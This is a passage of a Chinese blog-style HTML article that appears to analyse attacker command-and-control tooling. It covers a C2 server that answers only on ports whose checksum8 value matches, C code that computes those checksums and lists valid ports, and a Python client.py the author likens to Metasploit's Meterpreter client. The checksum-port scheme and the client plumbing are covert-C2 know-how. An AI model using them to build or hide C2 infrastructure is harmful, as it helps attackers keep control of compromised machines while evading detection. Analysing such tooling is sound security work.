0em;text-align: left;font-weight: normal;"><span leaf="">服务器端验证: C2服务器在所有端口上监听，但只对连接到“合法”端口（即校验和匹配的端口）的请求做出响应，而忽略所有其他端口的连接，从而增加了隐蔽性。</span></p></li></ul><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdio.h&gt;</span></span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">** </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">wrap</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* s, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> w)</span></span></span><span leaf="">{</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> len = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(s);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> num_substrings = len / w + (len % w != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">** substrings = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">malloc</span></span><span leaf="">(num_substrings * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">*));</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; num_substrings; i++) {</span><span leaf="">        substrings[i] = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">malloc</span></span><span leaf="">((w + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">));</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strncpy</span></span><span leaf="">(substrings[i], s + i * w, w);</span><span leaf="">        substrings[i][w] = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\0&#39;</span></span><span leaf="">;</span><span leaf="">    }</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> substrings;</span><span leaf="">}</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> _sum_data(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* data) {</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> sum_ = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">** substrings = wrap(data, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(data) / </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> + (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(data) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">); i++) {</span><span leaf="">        sum_ += strtol(substrings[i], </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">);</span><span leaf="">    }</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(data) / </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> + (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(data) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">); i++) {</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">free</span></span><span leaf="">(substrings[i]);</span><span leaf="">    }</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">free</span></span><span leaf="">(substrings);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> sum_;</span><span leaf="">}</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">compute_checksum8_mod256</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* data)</span></span></span><span leaf="">{</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> sum = _sum_data(data);</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;sum %d\n&#34;</span></span><span leaf="">, sum);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* checksum = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">malloc</span></span><span leaf="">(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf=""> * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">));</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">sprintf</span></span><span leaf="">(checksum, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%02X&#34;</span></span><span leaf="">, sum % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> checksum;</span><span leaf="">}</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">* </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">generate_port</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* check_sum, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> min, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> max, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">* num_ports)</span></span></span><span leaf="">{</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">* ports = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">malloc</span></span><span leaf="">((max - min + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">));</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> index = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = min; i &lt;= max; i++) {</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> str[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">];</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">sprintf</span></span><span leaf="">(str, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%d&#34;</span></span><span leaf="">, i);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* sum = compute_checksum8_mod256(str);</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(sum, check_sum) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) {</span><span leaf="">            ports[index] = i;</span><span leaf="">            index++;</span><span leaf="">        }</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">free</span></span><span leaf="">(sum);</span><span leaf="">    }</span><span leaf="">    *num_ports = index;</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ports;</span><span leaf="">}</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">checksum8</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">* data, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> size)</span></span></span><span leaf="">{</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> check = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; size; i++) {</span><span leaf="">        check += data[i];</span><span leaf="">    }</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> check &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">;</span><span leaf="">}</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> str[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">];</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">sprintf</span></span><span leaf="">(str, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%d&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6357</span></span><span leaf="">);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">//printf(&#34;%s\n&#34;,str );</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">  sum = checksum8(str,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">);</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;sum   %d\n&#34;</span></span><span leaf="">,sum);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// int num_ports;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// int* ports = generate_port(&#34;88&#34;, 10000, 30000, &amp;num_ports);</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// for (int i = 0; i &lt; num_ports; i++) {</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">//     printf(&#34;%d &#34;, ports[i]);</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// }</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// free(ports);</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop\desktop\mettle</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">client.py</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">从代码中的命名（如PacketDispatcher, ChannelContainer, init_meterpreter）和结构来看，它极有可能是在模仿 Metasploit 框架 中的 Meterpreter 客户端。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> attrdict </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> AttrDict</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> channel_container </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ChannelContainer</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> packet_dispatcher </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> PacketDispatcher</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Client</span></span><span style="line-height: 26px;"><span leaf="">(PacketDispatcher, ChannelContainer)</span></span><span leaf="">:</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf="">        super(Client, self).__init__(self)</span><span leaf="">        self.aliases = {}</span><span leaf="">        self.commands = []</span><span leaf="">        self.sock = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.dict - self</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.sock = None</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># TODO how to fix it</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># from extensions.stdapi.fs.dir import Dir</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.register_extension_alias(&#34;fs&#34;, Dir())</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.sock = sock</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># print(&#34;socksock&#34; + sock)</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.init_meterpreter(sock, opts)</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">    @staticmethod</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">register_extension_alias</span></span><span style="line-height: 26px;"><span leaf="">(name, ext)</span></span><span leaf="">:</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># if isinstance(ext, dict) is True:</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 	for k in ext:</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 		setattr(Client, name, ext[k])</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># else:</span></span><span leaf="">        setattr(Client, name, ext)</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">register_extension_aliases</span></span><span style="line-height: 26px;"><span leaf="">(self, aliases)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> alias </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> aliases:</span><span leaf="">            alias = AttrDict(alias)</span><span leaf="">            self.register_extension_alias(alias.name, alias.ext)</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">init_meterpreter</span></span><span style="line-height: 26px;"><span leaf="">(self, sock, opts={})</span></span><span leaf="">:</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># print(&#34;rstream:&#34; + str(sock))</span></span><span leaf="">        self.sock = sock</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;passive_dispatcher&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> opts:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> client_core </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ClientCore</span><span leaf="">            self.register_extension_alias(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;core&#34;</span></span><span leaf="">, ClientCore(self))</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Register the channel inbound packet handler</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> channel </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Channel</span><span leaf="">            self.register_inbound_handler(Channel)</span><span leaf="">            self.monitor_socket()</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">##</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Extension registration</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">##</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Loads the client half of the supplied extension and initializes it as a</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># registered extension that can be reached through client.ext.[extension].</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">add_extension</span></span><span style="line-height: 26px;"><span leaf="">(self, name, commands=[])</span></span><span leaf="">:</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.commands |= commands</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># print(&#34;name:&#34; + name)</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> importlib</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># from .extensions</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># from lib.rex.post.meterpreter.extensions.stdapi import</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># TODO 不要写死extensions localtion</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># from importlib.machinery import SourceFileLoader</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># import os</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># print(os.path.realpath(__file__))</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># current_path = os.path.split(os.path.realpath(__file__))[0]</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># extensions_path = os.path.join(current_path, &#39;extensions&#39;)</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># module_path = os.path.join(extensions_path, name)</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># klass = SourceFileLoader(name, os.path.join(module_path, &#34;__init__.py&#34;)).load_module()</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># print(klass)</span></span><span leaf="">        mod = importlib.import_module(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;lib.rex.post.meterpreter.extensions.&#39;</span></span><span leaf=""> + name)</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># mod = importlib.import_module(&#34;.extensions.&#34; + name)</span></span><span leaf="">        getattr(mod, name.title())(self)</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># from extensions.stdapi.fs.dir import Dir</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.register_extension_alias(&#34;fs&#34;, mod)</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ps:就是原始代码样式，顶尖cx黑客会点中文很正常</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: 